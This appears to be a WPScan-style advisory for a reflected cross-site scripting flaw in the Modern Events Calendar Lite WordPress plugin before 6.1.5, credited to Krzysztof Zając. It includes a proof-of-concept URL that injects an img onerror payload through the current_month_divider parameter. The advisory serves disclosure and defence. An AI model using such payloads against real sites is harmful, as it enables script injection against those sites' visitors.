WordPress Plugin Vulnerabilities
Modern Events Calendar Lite < 6.1.5 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the current_month_divider parameter of its mec_list_load_more AJAX call (available to both unauthenticated and authenticated users) before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?action=mec_list_load_more¤t_month_divider=%3Cimg%20src%20onerror=alert(`XSS`);%3E&mec_start_date=1000-01-01
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-11-15 (about 2 years ago)
Added
2021-11-15 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)